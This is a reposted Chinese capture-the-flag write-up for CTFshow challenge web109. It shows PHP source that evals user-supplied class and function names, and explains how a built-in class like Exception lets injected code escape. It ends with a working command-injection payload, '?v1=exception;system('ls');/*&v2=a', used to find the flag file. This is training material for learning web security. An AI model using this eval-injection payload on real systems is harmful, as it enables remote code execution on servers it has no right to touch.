CTFshow php特性 web109
生活随笔
收集整理的這篇文章主要介紹了
CTFshow php特性 web109
小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
目錄
- 源碼
- 思路
- 題解
- 總結(jié)
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-29 22:02:34*/highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");}}?>思路
這題的話,發(fā)現(xiàn)對(duì)v1,v2沒(méi)什么限制,是不是就可以任意構(gòu)造方法了,我們只要任意new一個(gè)內(nèi)置類,后面的v2就逃逸出來(lái)了,但是大部分內(nèi)置類都需要傳入?yún)?shù),不然實(shí)例化的時(shí)候執(zhí)行 __construct,沒(méi)有參數(shù)的話會(huì)導(dǎo)致執(zhí)行失敗,程序就停止了.
怎么找符合條件的內(nèi)部類呢,正常情況下類不能直接用echo輸出,除非類中有__toString(把類當(dāng)作字符串使用時(shí)觸發(fā)),而且構(gòu)造方法和返回結(jié)果一樣
下面的代碼我們可以控制__toString的返回值,只要滿足以下條件的內(nèi)置類就沒(méi)問(wèn)題了
class kradress{public $test;public function __construct($a){$this->test = $a;}public function __toString(){return $this->test;} }// 0=phpinfo 返回phpinfo頁(yè)面 eval("echo new kradress($_GET[0]);");出現(xiàn)報(bào)錯(cuò)還是可以繼續(xù)執(zhí)行的內(nèi)置類也可以
以下內(nèi)置類滿足條件
Exception //有報(bào)錯(cuò) ReflectionClass //需要傳入一個(gè)已有的類或者直接執(zhí)行函數(shù)題解
解法有很多 `?v1=exception;system('ls');/*&v2=a`  訪問(wèn)fl36dg.txt,拿到flag總結(jié)
水題
總結(jié)
以上是生活随笔為你收集整理的CTFshow php特性 web109的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: CTFshow php特性 web108
- 下一篇: 动态规划算法php,php算法学习之动态